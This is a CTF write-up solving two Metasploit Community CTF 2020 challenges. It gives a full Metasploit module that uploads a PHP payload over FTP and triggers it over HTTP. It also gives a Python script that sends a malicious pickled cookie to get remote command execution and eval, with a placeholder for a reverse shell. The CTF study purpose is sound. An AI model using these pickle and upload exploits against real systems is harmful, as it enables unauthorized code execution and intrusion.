Metasploit Community CTF 2020 December - Writeup

TL;DR

I tried to explain the least solved two challenges from the Metasploit Community CTF December 2020 according to the blog post from Rapid7. Even though we solved all the challenges, we could not get a place in the top 15. But it was a fun ctf and we enjoyed so kudos to the organizers.

  • 5 of Clubs(39 solves): Writing a Metasploit Framework exploit module was required.
  • 7 of Spades(33 solves): Exploiting the Python pickle was required.

Scoreboard

Scoreboard

5 of Clubs

We were welcomed by the following web page
5 of Clubs

Basically it gives a pcap file and require us to write a metasploit framework exploit module in order to get the flag. There was two TCP streams that we could follow in Wireshark, one of them was FTP and the other one was HTTP.

FTP stream was basically telling us to include Msf::Exploit::Remote::Ftp class while writing the exploit module, Msf::Exploit::Remote::Tcp class could also be used but I didn’t want to deal with FTP passive mode stuff by myself.
5 of Clubs

HTTP stream was telling us to send a GET request to the PHP file which we were going to upload via FTP.
5 of Clubs

I used an actual exploit module as an example which uses Ftp and HttpClient classes and the exploit is written by MDISEC. When he wrote his exploit he encountered an issue by using Ftp and HttpClient classes in one module, see the pull/13093, and he fixed the problem for us.

Exploit module

Exploit module
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
def proto
'ftp'
end

def initialize
super(
'Name' => '5 of Clubs Solver',
'Description' => %q(MetasploitCTF 5 of Clubs Solve),
'License' => MSF_LICENSE,
'Author' => ['Not So Attractive <github.com/nsa>'],
'DisclosureDate' => '2020-12-05',
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true } ]
]
)

end

# This module uploads a php payload via ftp
# Then sends a get request to the uploaded payload
# to be triggered
def exploit
#save previous port just in case
port_restore = datastore["RPORT"]

# SET port 21
datastore['RPORT'] = 21
connect
if connect_login
print_good("FTP Log-in success")
end

# change ftp dir to "files"
print_status(send_cmd(["CWD files"]))
# generate random php file name
file_name = "#{rand_text_alphanumeric(6)}.php"
print_status("Uploading file #{file_name}")
# upload php payload via ftp method
# metasploit framework handles ftp passive mode ip,port connection
# while sending the data
# for details about how the framework handles it
# see the internal "send_cmd_data" function
res = send_cmd_data(['PUT', file_name ], payload.encoded, 'I')
print_status(res)

# RESTORE RPORT to 80 to be able to send
# a GET request to the uploaded file
datastore['RPORT'] = 80
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', file_name),
})
# HTTP GET request fail check
# unless res
# fail_with(Failure::Unreachable, 'Target is unreachable.')
# end
# print_status(res)
handler
end
end

res.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# The module is copied to `modules/exploits/`, so don't change this
use exploit/module

set FTPUSER ftpuser
set FTPPASS ftpuser

show options

run -z

<ruby>
print_status('Waiting a bit to make sure the session is completely setup...')
timeout = 10
loop do
break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys)
sleep 1
timeout -= 1
end
if framework.sessions.any? && framework.sessions.first[1].sys

run_single("sessions -i 1 -C 'ls -lR /var/www/'")
run_single("sessions -i 1 -c '/usr/bin/md5sum /var/www/5_of_clubs.png > /tmp/mdhash'")
run_single("sessions -i 1 -C 'cat /tmp/mdhash'")
end
</ruby>
5 of Clubs

After sending the above files to the challenge, we got the flag.

5 of Clubs

Flag 5 of Clubs

5 of Clubs

7 of Spades

We were welcomed by the following web page
7 of Spades

Basically, it was listing Metasploit Framework modules by using some filtering mechanism. After inspecting the web page one of my teammate said it was using Python pickle in the cookies and wrote some helper functions in python and I’ve made changes according to what was needed.

7 of Spades
7_of_spades_solver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import base64
import pickle
import requests
import os, re

class RCE:
def __init__(self, cmd):
self.command = cmd

def __reduce__(self):
cmd = self.command
return os.system, (cmd, )

class EVL:
def __init__(self, commd):
self.commd = commd

def __reduce__(self):
return (eval), (self.commd, )

rHeaders = {
"User-Agent":
"Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0"
}
s = requests.Session()
s.proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
s.headers = rHeaders

def run(payload):
url = "http://172.15.4.165:8888/module/auxiliary/admin/atg/atg_client"
cookies = {'SESSION': payload.decode()}
response = s.get(url, cookies=cookies)
return response

def encode(payload):
pickled = pickle.dumps(payload)
encoded = base64.b64encode(pickled)
return encoded

def code_exec(commd):
pickled = encode({"filter": RCE(commd)})
r = run(pickled)
r2 = re.findall('<main id="content" role="main" class="container">(.*)</main>',r.text, flags=re.DOTALL)
print(f"Pickled: {pickled}, COMMAND: {commd}")
print(r2, len(r.text))
if r.cookies:
s.cookies.clear()

def code_eval(commd):
pickled = encode({"filter": EVL(commd)})
r = run(pickled)
r2 = re.findall('<main id="content" role="main" class="container">(.*)</main>',r.text, flags=re.DOTALL)
print(f"Pickled: {pickled}, COMMAND: {commd}")
print(r2, len(r.text))
if r.cookies:
s.cookies.clear()

if __name__ == "__main__":
code_exec("SOME REVERSE SHELL PAYLOAD HERE")

After I got a reverse shell from the script I wrote above. I started searching for the flag on the system, but I couldn’t find. Then I started to look at python files. In the app.py file I saw the following code snipped. The code snipped below is just reads the flag.png file as bytes and assigns it to a variable called FLAG, then it deletes the flag.png file by calling the unlink function. That’s why I couldn’t find the flag at first but I was read and stored in python a variable.

app.py
1
2
3
4
with (app_path / 'flag.png').open('rb') as file_h:
FLAG = file_h.read()
if not config.DEBUG:
(app_path / 'flag.png').unlink()

After seeing the snipped above, I thought I could write FLAG variable to a file by using my code_eval function. So called it by adding one line to our script.

7_of_spades_solver.py
1
2
3
4
# I neclect the upper parts because they're the same as previous.
if __name__ == "__main__":
code_exec("SOME REVERSE SHELL PAYLOAD HERE")
code_eval('open("/tmp/flag.png","wb").write(FLAG)')

Flag 7 of Spades

I wrote FLAG variable to the /tmp/flag.png file. Then we got the flag by using our previous reverse shell.

7 of Spades